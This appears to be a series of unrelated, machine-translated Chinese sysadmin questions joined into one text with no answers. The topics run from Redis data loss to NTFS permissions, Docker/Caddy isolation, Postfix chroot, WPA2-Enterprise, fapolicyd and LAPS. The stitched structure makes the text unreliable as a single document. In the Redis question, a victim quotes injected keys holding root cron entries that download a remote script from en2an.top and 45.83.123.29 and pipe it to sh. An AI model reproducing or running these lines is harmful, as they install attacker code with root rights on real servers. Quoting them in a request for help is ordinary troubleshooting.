问题[security](server)

我在docker中运行Redis，使用以下命令启动：

docker run -d --restart except-stopped -p 6379:6379 redis/redis-stack-server:latest

但是redis里面的所有数据包括索引每30分钟就会被删除一次，不知道为什么会这样。

可能是因为我运行docker的VPS资源非常有限吗？

VPS 规格为 1 核 CPU、1 GB RAM 和交换以及 20 GB 存储空间。操作系统是 Ubuntu 22.04。VPS 提供商是 RackNerd。我在 OVH 上具有相同规格的 VPS 上运行了相同的 docker-redis，没有任何问题。

我在 docker 上运行 Redis 是因为我想使用 Redisearch 功能。

每隔几个小时，名为backup1 backup2 backup3 backup4的键就会出现在 redis 中。以下是每个键的值：

backup1 : */2 * * * * root cd1 -fsSL http://en2an.top/cleanfda/init.sh | sh
backup2: */3 * * * * root wget -q -O- http://en2an.top/cleanfda/init.sh | sh
backup3: */4 * * * * root curl -fsSL http://45.83.123.29/cleanfda/init.sh | sh
backup4: */5 * * * * root wd1 -q -O- http://45.83.123.29/cleanfda/init.sh | sh

这是docker日志：

root@racknerd-d76c238:~# docker logs b4bb752bcda8
8:C 08 Jan 2025 04:51:49.757 # WARNING Memory overcommit must be enabled! Without it, a background save or replication may fail under low memory condition. Being disabled, it can also cause failures without low memory condition, see https://github.com/jemalloc/jemalloc/issues/1328. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.
8:C 08 Jan 2025 04:51:49.759 * oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
8:C 08 Jan 2025 04:51:49.759 * Redis version=7.4.1, bits=64, commit=00000000, modified=0, pid=8, just started
8:C 08 Jan 2025 04:51:49.759 * Configuration loaded
8:M 08 Jan 2025 04:51:49.761 * Increased maximum number of open files to 10032 (it was originally set to 1024).
8:M 08 Jan 2025 04:51:49.761 * monotonic clock: POSIX clock_gettime
8:M 08 Jan 2025 04:51:49.766 * Running mode=standalone, port=6379.
8:M 08 Jan 2025 04:51:49.768 * Module 'RedisCompat' loaded from /opt/redis-stack/lib/rediscompat.so
8:M 08 Jan 2025 04:51:49.790 * <search> Redis version found by RedisSearch : 7.4.1 - oss
8:M 08 Jan 2025 04:51:49.790 * <search> RediSearch version 2.10.5 (Git=2.10-e2f2                                                                    8a9)
8:M 08 Jan 2025 04:51:49.791 * <search> Low level api version 1 initialized successfully
8:M 08 Jan 2025 04:51:49.791 * <search> gc: ON, prefix min length: 2, min word length to stem: 4, prefix max expansions: 200, query timeout (ms): 500, timeout policy: return, cursor read size: 1000, cursor max idle (ms): 300000, max doctable size: 1000000, max number of search results:  10000,
8:M 08 Jan 2025 04:51:49.791 * <search> Initialized thread pools!
8:M 08 Jan 2025 04:51:49.793 * <search> Enabled role change notification
8:M 08 Jan 2025 04:51:49.793 * Module 'search' loaded from /opt/redis-stack/lib/redisearch.so
8:M 08 Jan 2025 04:51:49.804 * <timeseries> RedisTimeSeries version 11202, git_sha=5643fd4d6fcb1e9cf084fb2deb9285b08f4a6672
8:M 08 Jan 2025 04:51:49.805 * <timeseries> Redis version found by RedisTimeSeries : 7.4.1 - oss
8:M 08 Jan 2025 04:51:49.805 * <timeseries> loaded default CHUNK_SIZE_BYTES policy: 4096
8:M 08 Jan 2025 04:51:49.805 * <timeseries> loaded server DUPLICATE_POLICY: block
8:M 08 Jan 2025 04:51:49.805 * <timeseries> loaded default IGNORE_MAX_TIME_DIFF:0
8:M 08 Jan 2025 04:51:49.805 * <timeseries> loaded default IGNORE_MAX_VAL_DIFF:0.000000
8:M 08 Jan 2025 04:51:49.805 * <timeseries> Setting default series ENCODING to:compressed
8:M 08 Jan 2025 04:51:49.806 * <timeseries> Detected redis oss
8:M 08 Jan 2025 04:51:49.806 * Module 'timeseries' loaded from /opt/redis-stack/lib/redistimeseries.so
8:M 08 Jan 2025 04:51:49.816 * <ReJSON> Created new data type 'ReJSON-RL'
8:M 08 Jan 2025 04:51:49.818 * <ReJSON> version: 20803 git sha: unknown branch:unknown
8:M 08 Jan 2025 04:51:49.818 * <ReJSON> Exported RedisJSON_V1 API
8:M 08 Jan 2025 04:51:49.818 * <ReJSON> Exported RedisJSON_V2 API
8:M 08 Jan 2025 04:51:49.818 * <ReJSON> Exported RedisJSON_V3 API
8:M 08 Jan 2025 04:51:49.818 * <ReJSON> Exported RedisJSON_V4 API
8:M 08 Jan 2025 04:51:49.818 * <ReJSON> Exported RedisJSON_V5 API
8:M 08 Jan 2025 04:51:49.819 * <ReJSON> Enabled diskless replication
8:M 08 Jan 2025 04:51:49.819 * Module 'ReJSON' loaded from /opt/redis-stack/lib/rejson.so
8:M 08 Jan 2025 04:51:49.819 * <search> Acquired RedisJSON_V5 API
8:M 08 Jan 2025 04:51:49.822 * <bf> RedisBloom version 2.8.2 (Git=unknown)
8:M 08 Jan 2025 04:51:49.823 * Module 'bf' loaded from /opt/redis-stack/lib/redi                                                                    sbloom.so
8:M 08 Jan 2025 04:51:49.832 * <redisgears_2> Created new data type 'GearsType'
8:M 08 Jan 2025 04:51:49.835 * <redisgears_2> Detected redis oss
8:M 08 Jan 2025 04:51:49.838 # <redisgears_2> could not initialize RedisAI_InitError    
8:M 08 Jan 2025 04:51:49.838 * <redisgears_2> Failed loading RedisAI API.
8:M 08 Jan 2025 04:51:49.838 * <redisgears_2> RedisGears v2.0.20, sha='9b737886bf825fe29ddc2f8da81f73cbe0b4e858', build_type='release', built_for='Linux-ubuntu2                                                                    2.04.x86_64', redis_version:'7.4.1', enterprise:'false'.
8:M 08 Jan 2025 04:51:49.881 * <redisgears_2> Registered backend: js.
8:M 08 Jan 2025 04:51:49.890 * Module 'redisgears_2' loaded from /opt/redis-stack/lib/redisgears.so
8:M 08 Jan 2025 04:51:49.891 * Server initialized
8:M 08 Jan 2025 04:51:49.892 * Ready to accept connections tcp
8:M 08 Jan 2025 05:04:19.697 * DB saved on disk
8:M 08 Jan 2025 05:04:20.167 * <redisgears_2> Got a flush started event
8:M 08 Jan 2025 05:04:20.172 * DB saved on disk
8:M 08 Jan 2025 05:04:21.850 * DB saved on disk
8:M 08 Jan 2025 05:04:22.318 * DB saved on disk
8:M 08 Jan 2025 05:04:22.565 * <redisgears_2> Got a flush started event
8:M 08 Jan 2025 05:04:22.568 * DB saved on disk
8:M 08 Jan 2025 05:04:24.255 * DB saved on disk
8:M 08 Jan 2025 05:04:24.965 * DB saved on disk
8:M 08 Jan 2025 05:11:27.270 * <module> Scanning index idx:delivery in background
8:M 08 Jan 2025 05:11:27.270 * <module> Scanning index idx:delivery in background: done (scanned=0)
8:M 08 Jan 2025 05:11:27.270 * <module> Scanning index idx:ehailing in background
8:M 08 Jan 2025 05:11:27.271 * <module> Scanning index idx:ehailing in background: done (scanned=0)
8:M 08 Jan 2025 05:11:27.271 * <module> Scanning index idx:product in background
8:M 08 Jan 2025 05:11:27.271 * <module> Scanning index idx:product in background: done (scanned=0)
8:M 08 Jan 2025 05:46:37.355 * DB saved on disk
8:M 08 Jan 2025 05:46:37.746 * <redisgears_2> Got a flush started event
8:M 08 Jan 2025 05:46:37.750 * DB saved on disk
8:M 08 Jan 2025 05:46:39.517 * DB saved on disk
8:M 08 Jan 2025 05:46:39.910 * DB saved on disk
8:M 08 Jan 2025 05:46:40.104 * <redisgears_2> Got a flush started event
8:M 08 Jan 2025 05:46:40.107 * DB saved on disk
8:M 08 Jan 2025 05:46:41.466 * DB saved on disk
8:M 08 Jan 2025 05:46:42.050 * DB saved on disk
8:M 08 Jan 2025 06:21:30.817 * <module> Scanning index idx:business in background
8:M 08 Jan 2025 06:21:30.822 * <module> Scanning index idx:business in background: done (scanned=0)
8:M 08 Jan 2025 06:21:30.823 * <module> Scanning index idx:delivery in background
8:M 08 Jan 2025 06:21:30.825 * <module> Scanning index idx:delivery in background: done (scanned=0)
8:M 08 Jan 2025 06:21:30.826 * <module> Scanning index idx:ehailing in background
8:M 08 Jan 2025 06:21:30.827 * <module> Scanning index idx:ehailing in background: done (scanned=0)
8:M 08 Jan 2025 06:21:30.828 * <module> Scanning index idx:product in background
8:M 08 Jan 2025 06:21:30.831 * <module> Scanning index idx:product in background: done (scanned=0)
8:M 08 Jan 2025 06:46:43.095 * 1 changes in 3600 seconds. Saving...
8:M 08 Jan 2025 06:46:43.105 * Background saving started by pid 29
29:C 08 Jan 2025 06:46:43.123 * DB saved on disk
29:C 08 Jan 2025 06:46:43.124 * Fork CoW for RDB: current 0 MB, peak 0 MB, average 0 MB
8:M 08 Jan 2025 06:46:43.207 * Background saving terminated with success

我有点困惑为什么会发生这种情况。

我们在 Microsoft Windows 2022 服务器上的 C: 驱动器上的一些文件夹中有一个设备列表（.txt 文件）。我创建了此文件和文件夹以用作 PS 脚本的一部分。高级安全设置显示了 .txt 文件的权限，对于有权访问服务器的任何用户（“管理员”组内的安全组）来说，一切似乎都是正确的，可以编辑/访问该文件。

但是，当一个用户（具有服务器管理权限）尝试通过记事本打开它时，系统会提示“您无权打开此文件”，如图所示。他可以导航到该文件：

有效权限表明他们应该拥有完全控制权：

Get-NTFSEffectiveAccess也显示了这一点：

只有当我直接添加他们的用户帐户并分配权限时，他们才最终能够访问它。我在这里遗漏了什么？

几年前，当我的多个网站同时被黑客入侵后，我开始研究，并在一些 SF 问题中看到了一个解决方案：PHP-FPM 池

基本上，这是我之后设计的结构：

长期以来，我一直非常有信心一切都比以前更加安全，因为如果一个网站以某种方式被黑客入侵，它永远不会影响同一主机上的其他网站。

但几个月前，我开始与一些 Docker 人员交谈，他们告诉我，我应该开始尝试使用容器并将我的解决方案迁移到完全 Docker 化的系统。他们建议我使用 Caddy。但在阅读了 Caddy 文档后，我注意到新结构如下所示：

基本上，我所看到的是，Caddy 服务器对所有文件具有完全不受限制的访问权限。与之前的 Nginx 不同，以前的 Nginx 似乎一切都是条块分割的，而在这里，如果 Caddy 服务器出现安全问题，似乎一切都可能受到损害。

我知道大多数情况下，大多数黑客攻击都来自端点上的编码错误，这意味着最薄弱的环节是隔离的 docker FPM 服务器。但如果 Caddy 被攻陷，它将泄露所有卷的完整信息

此时，我有两个问题：

1. 由于很多人都在宣扬 Docker 是最安全的选择之一，我是不是忽略了什么？我觉得这比我以前的系统安全性稍差一些（虽然如果单个主机中的整个文件系统都受到威胁，那么主机中是否有文件权限限制就无关紧要了，因此从这个方面来看，Docker 确实更安全）

2. 除了保持系统更新外，还有其他做法可以从文件访问/PHP 软件零日攻击角度使 Docker/Caddy/FPM 配置更安全吗？目前，我在 Caddy 和 FPM 之间有文件套接字，但我觉得将所有文件放在一个主机上会暴露太多整体信息。

在 Windows 世界中，您可以使用虚拟机，将所有软件和 Windows 更新应用到其中，然后将其保存为 .vhd 或 iso 格式的新基础映像。我们称之为sysprep，它非常适合让您部署在首次启动时安全的完全最新的虚拟机。

制作这些并使它们保持最新需要一定程度的辛苦，但部署安全机器会带来巨大的回报。

这也是Linux世界的一个概念吗？如果是，使用的术语和技术是什么？

我们目前使用的是 M365 商业高级版许可证，因此使用的是 Azure 信息保护高级计划 1。我们在compliance.microsoft.com 上创建了一个“内部”敏感度标签，其中“立即分配权限”配置向所有用户授予共同作者访问权限，并且组织内的团体。该标签在用户的 Outlook Web 应用程序中运行。但是，在 Outlook 桌面应用程序中起草新电子邮件时，存在选择标签的选项，但当我单击标签本身时，它会恢复为“无标签”。

标签策略范围内的所有用户都可以看到该标签。但无法应用它。一些见解：

1. 如果我创建一个带有“让用户分配权限”配置的标签，然后选择“仅加密”或“不转发”选项。然后用户可以看到该标签并将其应用到 Outlook 桌面应用程序和 Web 中。

2. 如果我使用“立即分配权限”配置创建标签，将其范围限定为文件和电子邮件，授予共同作者对“经过身份验证的用户”或“组织内的所有用户和组”的访问权限，则用户可以在 Word 中选择标签/Excel 等，但不是 Outlook 桌面应用程序。不过，他们可以在 Outlook Web 中分配相同的标签。我们使用最新的 Microsoft® Outlook® for Microsoft 365 MSO（版本 2403 内部版本 16.0.17425.20176）64 位。我们使用Office应用程序内置的标签，从未使用过AIP统一标签客户端或经典客户端。

我知道 chroot 允许隔离 Postfix，因此如果攻击者授予对 Postfix 程序之一的访问权限，他就无法恶意更改 chroot 目录之外的内容。

在 chroot 监狱中运行 Postfix 似乎是一种常见的做法。例如，Debian 默认将 Postfix 安装在 chroot 中。

我对此有几个疑问：

1. 当外部只有 25 和 587 端口可用时，攻击者如何授予对文件系统的访问权限？怎么可能通过SMTP协议呢？它有漏洞吗？
2. 为什么强烈建议将 Postfix 安装在 chroot 中，但发布 POP3/IMAP 端口并将电子邮件存储在文件系统中的 Dovecot 则不然？
3. ProtectSystem在 Postfix 的 systemd 单元中使用与 chroot 监狱一样安全吗？

我最近开始在一家拥有 WPA 2 企业网络的公司工作，其中多个设备（假设是所有设备）共享同一个 Radius 用户帐户。基本上，员工使用企业网络就像使用 WPA 个人网络一样，其中共享帐户+密码取代了共享密码。

WPA 2 企业网络是否能够抵御此类滥用？显然，https 和 Wifi 之外的其他加密机制可以缓解这个问题，但这不是问题所在。

我希望 WPA 2 企业网络能够使用每个客户端加密，这样各个客户端就无法（简单地）嗅探彼此（否则未加密）的流量，即使它们使用相同的 Radius 帐户也是如此。

干杯

编辑，澄清：我对这个问题的主要关注是 WPA 2 企业中是否有任何安全措施（例如每个客户端的唯一共享密钥）可以减轻上述滥用行为。

我们有一台装有Alma Linux 9.3操作系统的服务器。默认情况下（以及当前所有类似 RHEL 的操作系统）它已fapolicyd启用。该服务器上还运行着一个应用程序服务器（WildFly/JBoss/Java）。部署的应用程序处理一些数据文件（由用户提交），并且在标准情况下工作正常。

然而目前，有一段时间应用程序需要每分钟处理 1000 个左右的文件。在这种情况下，fapolicyd开销占用了约 15% 的 CPU，我们认为该开销过高。

我在互联网上找不到有类似问题的人。

fapolicyd我也很惊讶ServerFault 上没有标签。

问题：

• 有没有一种方法可以优化fapolicyd配置，以便它可以更快地决定是允许还是拒绝文件访问？
  • 我想到的一件事是自定义规则的排序。
  • 也许使用通配符与使用文字规则。
• 有什么提示如何评估fapolicyd对我们来说有多重要吗？
  • 我们是否可以将其关闭，或者尽管开销巨大，但让它运行是否确实是一个好主意。
  • 其他发行版是否也使用类似的东西fapolicyd，或者它是否“只是额外的安全性”就SELinux足够了。（我知道它们不一样。）

资料来源：

• STIG 建议fapolicyd启用
• 有关基础知识的红帽文章fapolicyd

我准备了一台已加入 AzureAD 的新笔记本电脑，并安装了本地 Active Directory 的 LAPS 客户端。

运行 LAPS 客户端会导致消息“LDAP 服务器不可用”。

由于笔记本电脑不再连接到本地 Active Directory，而是直接连接到 AzureAD，如何检索仍在本地 Active Directory和/或仅 Azure 混合加入的其他计算机/笔记本电脑的本地管理员密码？

先谢谢了

数百个盒子中的六个报告了 /etc/krb5.keytab 的更改，所有这些都在随机的周六的几分钟内发生。更改时没有人登录。我已在更改之前要求提供文件的副本，以便可以比较它们，但我想知道这是否是正常或预期的行为。